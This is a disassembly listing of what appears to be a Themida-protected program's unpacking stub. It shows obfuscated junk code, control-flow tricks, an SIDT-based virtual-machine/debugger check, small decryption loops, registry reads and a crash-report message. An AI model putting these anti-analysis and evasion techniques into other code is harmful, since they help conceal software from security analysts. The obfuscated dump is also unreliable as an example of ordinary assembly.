dd 0B4E6ADFh, 1401ADBDh, 0E6E98106h, 8B629259h
db 8Dh
; ---------------------------------------------------------------------------
loc_57BC49: ; CODE XREF: Themida_:0057BC03j
sbb eax, 0FF061424h
rol byte ptr [ecx-4F215E16h], 1
jl short near ptr loc_57BCBE+2
add [edi], cl
mov edi, 0F995FFD2h
db 2Eh
adc al, 6
movsx edi, ax
mov esi, ebx
jmp loc_57BC72
; ---------------------------------------------------------------------------
xor edx, [edx-4AEDBD55h]
adc bl, dh
loc_57BC72: ; CODE XREF: Themida_:0057BC65j
lea eax, [ebp+616A99Ah]
add cl, 3Bh
jmp loc_57BC8E
; ---------------------------------------------------------------------------
dd 54443865h, 13A0690Eh, 0E97D014Dh
db 7, 83h
; ---------------------------------------------------------------------------
loc_57BC8E: ; CODE XREF: Themida_:0057BC7Bj
call eax
mov edi, [ebp+6142315h]
push 0
mov edx, eax
call dword ptr [ebp+6142EF9h]
mov eax, eax
and edx, 249EB17Ah
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57BCBA
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57BCD3
loc_57BCBA: ; CODE XREF: Themida_:0057BCAFj
push eax
push ebx
mov eax, eax
loc_57BCBE: ; CODE XREF: Themida_:0057BC54j
mov eax, 7D9h
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B73Ah]
call ebx
pop ebx
pop eax
loc_57BCD3: ; CODE XREF: Themida_:0057BCB8j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57BCF3
push eax
push ebx
mov eax, 7D9h
mov [ebp+6141A49h], eax
lea ebx, [ebp+616B429h]
call ebx
pop ebx
pop eax
loc_57BCF3: ; CODE XREF: Themida_:0057BCDAj
clc
sbb di, 0CC19h
mov eax, eax
push 0
push esi
call sub_57BD06
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BD06 proc near ; CODE XREF: Themida_:0057BCFEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_57BD06 endp
; ---------------------------------------------------------------------------
dw 77F2h
; ---------------------------------------------------------------------------
test byte ptr [eax+70BDB9ABh], 0B3h
push ax
mov ecx, [ebp+61400E5h]
mov ebx, eax
and ecx, [ebp+61404BDh]
push ebx
lea ebx, [ebp+61412F5h]
mov eax, [ebx]
mov [ebx], eax
mov eax, [ebx+50h]
mov [ebx+50h], eax
lea ebx, [ebp+6170440h]
mov eax, [ebx]
mov [ebx], eax
pop ebx
push 0
call sub_57BD61
adc [edx-5EACF2ECh], ecx
or [esi+ebp*2+5B9030BCh], eax
mov eax, ebx
; =============== S U B R O U T I N E =======================================
sub_57BD61 proc near ; CODE XREF: Themida_:0057BD4Dp
mov di, 0FC1Ah
pop edi
jge near ptr loc_57BD7C+2
jns near ptr loc_57BD7C+2
call near ptr loc_57BD7C+1
mov eax, ds:3EBE470Fh
loc_57BD7C: ; CODE XREF: sub_57BD61+11p
; sub_57BD61+5j ...
sbb byte ptr [edi-73h], 85h
sub_57BD61 endp ; sp-analysis failed
inc eax
add al, 17h
push es
push eax
push 0
push edx
call sub_57BD90
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BD90 proc near ; CODE XREF: Themida_:0057BD88p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_57BD90 endp
; ---------------------------------------------------------------------------
imul eax, esi, -4Eh
mov ebp, [edx+60h]
mov edx, [ebp+6142C4Dh]
lea eax, [ebp+61412F5h]
push 0
push ebp
call sub_57BDBD
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BDBD proc near ; CODE XREF: Themida_:0057BDB5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_57BDBD endp
; ---------------------------------------------------------------------------
test eax, 0A8F470AFh
push eax
jle loc_57BDE8
jmp loc_57BDE8
; ---------------------------------------------------------------------------
dw 8953h
dd 0A7D01BE0h, 62D28372h
; ---------------------------------------------------------------------------
loc_57BDE8: ; CODE XREF: Themida_:0057BDD3j
; Themida_:0057BDD9j
push 0
push 0
push ebp
call sub_57BDF5
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BDF5 proc near ; CODE XREF: Themida_:0057BDEDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_57BDF5 endp
; ---------------------------------------------------------------------------
sub al, 6Ah
add [edx+0], ch
push ecx
call sub_57BE13
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BE13 proc near ; CODE XREF: Themida_:0057BE0Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_57BE13 endp
; ---------------------------------------------------------------------------
db 82h
; ---------------------------------------------------------------------------
cmp eax, [edi+41C50563h]
scasb
push 1800h
mov [ebp+61421BDh], esi
push ebx
jmp loc_57BE47
; ---------------------------------------------------------------------------
dd 0EC34C62Eh, 0D8456483h
db 22h, 3Dh, 13h
; ---------------------------------------------------------------------------
loc_57BE47: ; CODE XREF: Themida_:0057BE37j
call dword ptr [ebp+6140B61h]
push 0
push eax
call sub_57BE58
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57BE58 proc near ; CODE XREF: Themida_:0057BE50p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_57BE58 endp
; ---------------------------------------------------------------------------
dd 0E4950B6Dh, 0AE99551h, 0BE000000h, 2A20AC9Ch, 0A33AA132h
dd 958951E7h, 6140A51h, 95FFFC5Fh, 6143081h, 0A7B5FFF9h
dd 8B061704h, 1415E98Dh, 6195FF06h, 66061423h, 858DCA8Bh
dd 61412F5h, 1D198589h, 408B0614h, 0C744B518h, 1421E185h
dd 6, 0FABF0F00h, 14CDBD83h, 0F000614h, 4684h, 0EE800h
dd 3D3F0000h, 292E832Eh, 0F98F5CE8h, 3B728F0Fh, 23F99D29h
dd 0F590614h, 58Bh, 0DD5DBA00h, 8C3D32AEh, 0F000000h, 19F83h
dd 0B5CCB900h, 23E9751Ah, 0F000000h, 68Dh, 2D9D8900h, 3D061423h
dd 98h, 17E830Fh, 8B600000h, 140C1D9Dh, 4DB86606h, 858D6152h
dd 5B243Bh, 2E218589h, 0D0FF0614h, 148D0Fh, 0FE90000h
dd 1D000000h, 0DBBF29CFh, 585FBA6Fh, 7A6F1B2Dh, 0D7814A78h
dd 13E04D8Fh, 1E8E858Dh, 8589005Bh, 6140CB9h, 0D1C98166h
dd 50D0FFC0h, 0E85BD09h, 0E85A0614h, 14h, 0B193EE47h, 2F74AEC7h
dd 23E97164h, 47B5892Eh, 0A4ACE0A4h, 0FE8h, 0B1B17500h
dd 0A0362D35h, 7CBD2366h, 0FB761E01h, 0CF5958Bh, 595F0614h
dd 0BA66C08Bh, 0BD837AC8h, 61430B1h, 83097500h, 141AE1BDh
dd 19740006h, 0C08B5350h, 0BC6B8h, 49858900h, 8D06141Ah
dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
dd 0BC6B8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h
dd 0D858958h, 8B06142Dh, 0EDBF60FEh, 8B1AA981h, 1416EDBDh
dd 0C08B6106h, 38B0Fh, 0B70F0000h, 4D89BFFFh, 0F8836CE7h
dd 29850FFFh, 0C7000000h, 140F2985h, 6, 0E9F08A00h, 0ECh
dd 3A6B360h, 1403E18Dh, 31E96106h, 0F000000h, 0BD8BC9BFh
dd 6142675h, 0F01F883h, 1F85h, 0E97AB600h, 0FFh, 6E8h
dd 0E8F85600h, 0F263C05h, 68Eh, 8C0F00h, 5F000000h, 0FFF1BDE9h
dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0A8203A4Ch, 6AC08Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0EFBD7CC3h
dd 8609E39Dh, 0BD83F585h, 61430B1h, 83097500h, 141AE1BDh
dd 19740006h, 0C08B5350h, 7DDB8h, 49858900h, 8D06141Ah
dd 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah, 53501774h
dd 7DDB8h, 49858900h, 8D06141Ah, 16B4299Dh, 5BD3FF06h
dd 51F78158h, 665758D8h, 2A0F781h, 0DD80C08Bh, 217E9C9h
dd 0D68B0000h, 244858Dh, 0A8B60617h, 16860Fh, 0AE80000h
dd 24000000h, 0A1CE56CFh, 669F797Eh, 298D3370h, 59061423h
dd 43C8589h, 0B5890617h, 61410C9h, 4FE9h, 0D5958B00h
db 5, 14h, 6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57BB06
loc_57C15F: ; CODE XREF: sub_57BB06+F2j
lea eax, [ebp+617004Ch]
xor edx, 4EB22154h
inc eax
jnp loc_57C176
mov dx, 5A82h
loc_57C176: ; CODE XREF: sub_57BB06+666j
mov [ebp+617043Ch], eax
push 0
push esi
call sub_57C187
and [esi-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_57BB06
; =============== S U B R O U T I N E =======================================
sub_57C187 proc near ; CODE XREF: sub_57BB06+679p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_57C187 endp
; ---------------------------------------------------------------------------
xchg eax, esi
or al, 0FCh
mov cl, 9Ah
mov [ebp+61402F9h], ecx
sub [ebp+6142025h], edx
push 34h
lea eax, [ebp+6140795h]
push eax
push dword ptr [ebp+617043Ch]
push 0
call dword ptr [ebp+61402C1h]
cmp eax, 7
jz loc_57C330
mov bx, ds
test bl, 4
jnz loc_57C2D6
mov byte ptr [ebp+6141A59h], 56h
push 9CA8B852h
push dword ptr [ebp+6141145h]
lea eax, [ebp+6143B13h]
call eax
push 4
push 1000h
push 64h
push 0
call eax
mov [ebp+61704AFh], eax
mov byte ptr [ebp+6141A59h], 47h
push 0EC18AC9Bh
push dword ptr [ebp+6141145h]
lea eax, [ebp+6143B13h]
call eax
call eax
mov esi, eax
mov byte ptr [ebp+6141A59h], 4Fh
push 0C62F2661h
push dword ptr [ebp+6143481h]
lea eax, [ebp+6143B13h]
call eax
lea ebx, [ebp+61704ABh]
push ebx
push 28h
push esi
call eax
test eax, eax
jnz short $+2
mov byte ptr [ebp+6141A59h], 41h
push 0DB876498h
push dword ptr [ebp+6143481h]
lea eax, [ebp+6143B13h]
call eax
mov [ebp+61704C8h], eax
mov byte ptr [ebp+6141A59h], 4Ch
push 80A4E7A4h
push dword ptr [ebp+6143481h]
lea eax, [ebp+6143B13h]
call eax
mov ebx, [ebp+61704AFh]
lea ebx, [ebx+4]
push ebx
lea ebx, [ebp+61704B4h]
push ebx
push 0
call eax
mov ebx, [ebp+61704AFh]
mov dword ptr [ebx], 1
mov dword ptr [ebx+0Ch], 2
mov ebx, [ebp+61405F5h]
mov dword ptr [ebp+6141199h], 0
push 0
push 0
push 0
mov ebx, [ebp+61704AFh]
push ebx
push 0
push dword ptr [ebp+61704ABh]
call dword ptr [ebp+61704C8h]
loc_57C2D6: ; CODE XREF: Themida_:0057C1CEj
mov byte ptr [ebp+6141A59h], 45h
push 92A5F797h
push dword ptr [ebp+6140931h]
lea eax, [ebp+6143B13h]
call eax
push 0
push 2
call eax
mov bx, ds
test bl, 4
jnz short loc_57C330
mov ebx, [ebp+61704AFh]
mov dword ptr [ebx+0Ch], 0
push 0
push 0
mov ebx, [ebp+61704AFh]
push ebx
push 0
push dword ptr [ebp+61704ABh]
call dword ptr [ebp+61704C8h]
push dword ptr [ebp+61704ABh]
call dword ptr [ebp+6143081h]
loc_57C330: ; CODE XREF: Themida_:0057C1C2j
; Themida_:0057C2FCj
push 0
call dword ptr [ebp+6142EF9h]
clc
loc_57C339: ; CODE XREF: Themida_:loc_57B218j
lea eax, [ebp+6173875h]
sub [ebp+6142AC5h], edi
push eax
mov ecx, [ebp+614113Dh]
push large dword ptr fs:0
cld
mov large fs:0, esp
movzx ecx, cx
cmp dword ptr [ebp+6142309h], 0
jz loc_57C3AF
mov dl, 0BEh
cmp dword ptr [ebp+61412CDh], 1
jnz loc_57C3AF
cmp byte ptr [ebp+61708C8h], 0
jnz loc_57C3AF
mov edx, [ebp+614033Dh]
jmp loc_57C568
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_57C39D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57C39D proc near ; CODE XREF: Themida_:0057C395p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_57C39D endp
; ---------------------------------------------------------------------------
ja short locret_57C418
loc_57C3AF: ; CODE XREF: Themida_:0057C365j
; Themida_:0057C374j ...
xor ebx, ebx
call sub_57C3C2
mov esp, 0E369634Bh
cmc
inc ecx
; ---------------------------------------------------------------------------
db 0FEh, 0EFh, 14h
db 0D0h, 86h
; =============== S U B R O U T I N E =======================================
sub_57C3C2 proc near ; CODE XREF: Themida_:0057C3B1p
; FUNCTION CHUNK AT 0057C3EC SIZE 00000001 BYTES
; FUNCTION CHUNK AT 0057C431 SIZE 00000002 BYTES
mov [ebp+61402D5h], edi
pop edi
xor eax, eax
jg loc_57C3EC
call sub_57C3E8
jecxz short loc_57C431
add eax, 0CE2E0ED3h
imul esp, [eax+68h], 1BC158Ah
pop esi
insd
stosb
lodsb
sub_57C3C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_57C3E8 proc near ; CODE XREF: sub_57C3C2+Fp
sub dl, 62h
pop edx
sub_57C3E8 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_57C3C2
loc_57C3EC: ; CODE XREF: sub_57C3C2+9j
inc eax
; END OF FUNCTION CHUNK FOR sub_57C3C2
; ---------------------------------------------------------------------------
db 0Fh, 3Fh, 7
dd 58F640Bh, 0
dd 0E804C483h, 7, 724ED64Eh, 8B4044E4h, 140C51BDh, 6A5F06h
dd 3E857h, 5F200000h
; ---------------------------------------------------------------------------
locret_57C418: ; CODE XREF: Themida_:0057C3ADj
retn
; ---------------------------------------------------------------------------
pop edi
mov [esp+4], edi
add dword ptr [esp+4], 14h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
mov ah, 8Ah
rol dword ptr [ebx-7BF00005h], 1
; START OF FUNCTION CHUNK FOR sub_57C3C2
loc_57C431: ; CODE XREF: sub_57C3C2+14j
adc [eax], eax
; END OF FUNCTION CHUNK FOR sub_57C3C2
; ---------------------------------------------------------------------------
db 0
dd 34C28100h, 0E915919Ah, 11Eh, 304D8D29h, 94E90614h, 66000000h
dd 8D8BFA8Bh, 6140C65h, 0C244C8Bh, 0A481C7h, 0FFFF0000h
dd 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh, 0E855h, 815D0000h
dd 173897EDh, 0B8838B06h, 8D000000h, 17398985h, 0B8838906h
dd 5D000000h, 6AC3C033h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0E6C4C357h, 0EB80364Dh
dd 6A4725C1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 0C426C355h, 9B75B464h, 0D8D8B45h
dd 8D061421h, 17388D85h, 598D8B06h, 5006142Ah, 12E9h, 7F1D2A00h
dd 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh, 6479D5EFh, 35FFh
dd 958B0000h, 6141A89h, 30ADBD09h, 89640614h, 25h, 0EE900h
dd 98E60000h, 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 631B509h
dd 0AB90614h, 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh
dd 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h
dd 85C70A75h, 6141B0Dh, 1
; ---------------------------------------------------------------------------
loc_57C568: ; CODE XREF: Themida_:0057C38Dj
pop large dword ptr fs:0
add esp, 4
sbb edi, 15DFAE24h
mov [ebp+6140D45h], edx
mov eax, eax
pusha
adc ebx, 51315018h
jmp loc_57C59F
; ---------------------------------------------------------------------------
dd 0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh
db 0BDh, 43h, 2Fh
; ---------------------------------------------------------------------------
loc_57C59F: ; CODE XREF: Themida_:0057C587j
popa
cmp dword ptr [ebp+61430B1h], 0
jnz short loc_57C5B2
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57C5CB
loc_57C5B2: ; CODE XREF: Themida_:0057C5A7j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+61430C1h], eax
lea ebx, [ebp+616B7A1h]
call ebx
pop ebx
pop eax
loc_57C5CB: ; CODE XREF: Themida_:0057C5B0j
cmp dword ptr [ebp+6141AE1h], 0
jz short loc_57C5EB
push eax
push ebx
mov eax, 43Dh
mov [ebp+61430C1h], eax
lea ebx, [ebp+616B442h]
call ebx
pop ebx
pop eax
loc_57C5EB: ; CODE XREF: Themida_:0057C5D2j
jmp loc_57C5F6
; ---------------------------------------------------------------------------
dd 423CC1B0h
db 2Dh, 0CDh
; ---------------------------------------------------------------------------
loc_57C5F6: ; CODE XREF: Themida_:loc_57C5EBj
or dx, 46Dh
movsx ecx, cx
mov eax, eax
jmp loc_57C74C
; ---------------------------------------------------------------------------
db 4, 2 dup(0)
dd 392E3100h, 3031h, 6 dup(0)
db 0
db 2 dup(0), 45h
aXceptionInform db 'xception Information',0
aPleaseContactT db 'Please, contact the software developers with the following codes.'
db ' Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
; ---------------------------------------------------------------------------
loc_57C74C: ; CODE XREF: Themida_:0057C600j
cmp dword ptr [ebp+6140D09h], 0
jz loc_57C886
lea eax, [ebp+616B259h]
push eax
lea eax, [ebp+616B1C3h]
push eax
push 80000001h
call dword ptr [ebp+616B269h]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A30h]
push eax
push 0
push 0
lea eax, [ebp+616B1D7h]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A34h]
push eax
push 0
push 0
lea eax, [ebp+616B1E9h]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A40h]
push eax
push 0
push 0
lea eax, [ebp+616B236h]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A48h]
push eax
push 0
push 0
lea eax, [ebp+616B254h]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A44h]
push eax
push 0
push 0
lea eax, [ebp+616B23Dh]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A38h]
push eax
push 0
push 0
lea eax, [ebp+616B245h]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
lea eax, [ebp+6173A26h]
push eax
lea eax, [ebp+6173A3Ch]
push eax
push 0
push 0
lea eax, [ebp+616B24Ch]
push eax
push dword ptr [ebp+616B259h]
call dword ptr [ebp+61402EDh]
push dword ptr [ebp+616B259h]
call dword ptr [ebp+6141CF5h]
jmp loc_57C928
; ---------------------------------------------------------------------------
loc_57C886: ; CODE XREF: Themida_:0057C753j
cmp dword ptr [ebp+61423E9h], 0
jz loc_57C928
cmp dword ptr [ebp+61412CDh], 0
jnz loc_57C8B1
mov edx, [ebp+6142421h]
add edx, 1CF8h
jmp loc_57C8C0
; ---------------------------------------------------------------------------
loc_57C8B1: ; CODE XREF: Themida_:0057C89Aj
lea edx, [ebp+61412F5h]
mov edx, [edx+34h]
add edx, 3BD4C340h
loc_57C8C0: ; CODE XREF: Themida_:0057C8ACj
mov [ebp+61434F1h], edx
cmp dword ptr [ebp+61434F1h], 0
jz loc_57C928
mov ebx, [ebp+61434F1h]
add ebx, 4Ch
mov eax, [ebx]
mov [ebp+6173A30h], eax
mov ebx, [ebp+61434F1h]
add ebx, 50h
mov eax, [ebx]
mov [ebp+6173A34h], eax
mov ebx, [ebp+61434F1h]
add ebx, 54h
mov eax, [ebx]
mov [ebp+6173A40h], eax
mov ebx, [ebp+61434F1h]
add ebx, 58h
mov eax, [ebx]
mov [ebp+6173A44h], eax
mov ebx, [ebp+61434F1h]
add ebx, 5Ch
mov eax, [ebx]
mov [ebp+6173A38h], eax
loc_57C928: ; CODE XREF: Themida_:0057C881j
; Themida_:0057C88Dj ...
cmp dword ptr [ebp+6140D09h], 0
jnz loc_57C942
cmp dword ptr [ebp+61423E9h], 0
jz loc_57C9AA
loc_57C942: ; CODE XREF: Themida_:0057C92Fj
push dword ptr [ebp+6173A48h]
push dword ptr [ebp+6173A3Ch]
push dword ptr [ebp+6173A38h]
push dword ptr [ebp+6173A44h]
push dword ptr [ebp+6173A40h]
push dword ptr [ebp+6173A34h]
push dword ptr [ebp+6173A30h]
lea eax, [ebp+6173A2Ah]
push eax
lea eax, [ebp+6173A62h]
push eax
lea eax, [ebp+6141DB5h]
push eax
call dword ptr [ebp+6141509h]
add esp, 24h
push 40h
lea eax, [ebp+6173A4Ch]
push eax
lea eax, [ebp+6141DB5h]
push eax
push 0
call dword ptr [ebp+61402C1h]
push 1
call dword ptr [ebp+6142EF9h]
loc_57C9AA: ; CODE XREF: Themida_:0057C93Cj
mov eax, ecx
jmp short loc_57C9C6
; ---------------------------------------------------------------------------
dw 0F317h
dd 9B46h, 4 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57C9C6: ; CODE XREF: Themida_:0057C9ACj
jmp loc_57CBD6
; ---------------------------------------------------------------------------
loc_57C9CB: ; CODE XREF: Themida_:0057C9E0j
pusha
mov ebx, [esp+24h]
call $+5
pop ebp
sub ebp, 6173DF6h
popa
retn 4
; ---------------------------------------------------------------------------
jmp loc_57C9CB
; ---------------------------------------------------------------------------
loc_57C9E5: ; CODE XREF: Themida_:0057C9EAj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C9E5
; ---------------------------------------------------------------------------
loc_57C9EF: ; CODE XREF: Themida_:0057C9F4j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C9EF
; ---------------------------------------------------------------------------
loc_57C9F9: ; CODE XREF: Themida_:0057C9FEj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57C9F9
; ---------------------------------------------------------------------------
loc_57CA03: ; CODE XREF: Themida_:0057CA08j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57CA03
; ---------------------------------------------------------------------------
align 10h
dd 0
dd 0C3616000h, 0FFFFF8E9h, 2EB58BFFh, 8106173Eh, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 32B53B00h, 0F06173Eh
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 34F1858Bh, 18860614h
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 1D95FF08h, 50061419h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 34F1858Bh, 0C60614h, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 61434F1h, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 61416ADh, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_57CB17
; ---------------------------------------------------------------------------
mov dword ptr [ebp+61416ADh], 100h
loc_57CB17: ; CODE XREF: Themida_:0057CB08j
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh
; ---------------------------------------------------------------------------
popa
retn
; ---------------------------------------------------------------------------
loc_57CBD6: ; CODE XREF: Themida_:loc_57C9C6j
mov ax, ds
test al, 4
jz loc_57CC0A
mov dword ptr [ebp+6173DD3h], 1
push eax
sidt fword ptr [esp-2]
pop dword ptr [ebp+6173DD7h]
lea eax, [ebp+6173DCFh]
lea edi, [ebp+6173DD7h]
mov [eax], edi
jmp loc_57CC2D
; ---------------------------------------------------------------------------
loc_57CC0A: ; CODE XREF: Themida_:0057CBDBj
lea eax, [ebp+61412F5h]
mov eax, [eax+38h]
add eax, 9B46F317h
mov [ebp+6173DCFh], eax
lea eax, [ebp+61412F5h]
mov eax, [eax+3Ch]
mov [ebp+6173DD3h], eax
loc_57CC2D: ; CODE XREF: Themida_:0057CC05j
lea eax, [ebp+6173DECh]
mov [ebp+614191Dh], eax
jmp loc_57CCC5
; ---------------------------------------------------------------------------
loc_57CC3E: ; DATA XREF: Themida_:0054954Co
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57CC59
; ---------------------------------------------------------------------------
loc_57CC52: ; CODE XREF: Themida_:0057CC5Bj
add [esi], al
xor [esi], al
ror eax, 1
inc esi
loc_57CC59: ; CODE XREF: Themida_:0057CC4Dj
cmp esi, edi
jb loc_57CC52
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_57CC66: ; DATA XREF: Themida_:0054BD8Co
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57CC81
; ---------------------------------------------------------------------------
loc_57CC7A: ; CODE XREF: Themida_:0057CC83j
xor [esi], al
sub [esi], al
ror eax, 1
inc esi
loc_57CC81: ; CODE XREF: Themida_:0057CC75j
cmp esi, edi
jb loc_57CC7A
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_57CC8E: ; DATA XREF: Themida_:00549A6Co
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_57CCB4
; ---------------------------------------------------------------------------
loc_57CCA1: ; CODE XREF: Themida_:0057CCB6j
lodsb
cmp al, 2Dh
jz loc_57CCB4
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_57CCB4: ; CODE XREF: Themida_:0057CC9Cj
; Themida_:0057CCA4j
or ecx, ecx
jnz loc_57CCA1
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_57CCC5: ; CODE XREF: Themida_:0057CC39j
lea eax, [ebp+617405Fh]
mov [ebp+614096Dh], eax
lea eax, [ebp+6174087h]
mov [ebp+61431ADh], eax
lea eax, [ebp+61740AFh]
mov [ebp+6140E8Dh], eax
call near ptr loc_57CCF1+2
push dword ptr [eax+24h]
loc_57CCF1: ; CODE XREF: Themida_:0057CCE9p
cmp [ebp+66h], ch
mov esi, 0F95AB4A7h
add edx, 6850h
adc si, 0DA7Ah
sub eax, eax
mov ecx, eax
; START OF FUNCTION CHUNK FOR sub_57CD4E
loc_57CD08: ; CODE XREF: sub_57CD4E+15j
push dword ptr [eax+edx]
pop ebx
sub ebx, 5D8AD4DBh
mov si, 345Bh
xor ebx, 35ED3AD0h
jo loc_57CD23
stc
loc_57CD23: ; CODE XREF: sub_57CD4E-32j
add ebx, 6F894EE7h
push ebx
add di, 0EEF8h
pop dword ptr [edx+eax]
jmp loc_57CD41
; END OF FUNCTION CHUNK FOR sub_57CD4E
; ---------------------------------------------------------------------------
db 8Ch
dd 48581497h, 295AA2A6h
; ---------------------------------------------------------------------------
pushf
loc_57CD41: ; CODE XREF: sub_57CD4E-1Cj
push ebx
call sub_57CD4E
sbb eax, 4B09DEE7h
; ---------------------------------------------------------------------------
db 0FEh, 0B1h
; =============== S U B R O U T I N E =======================================
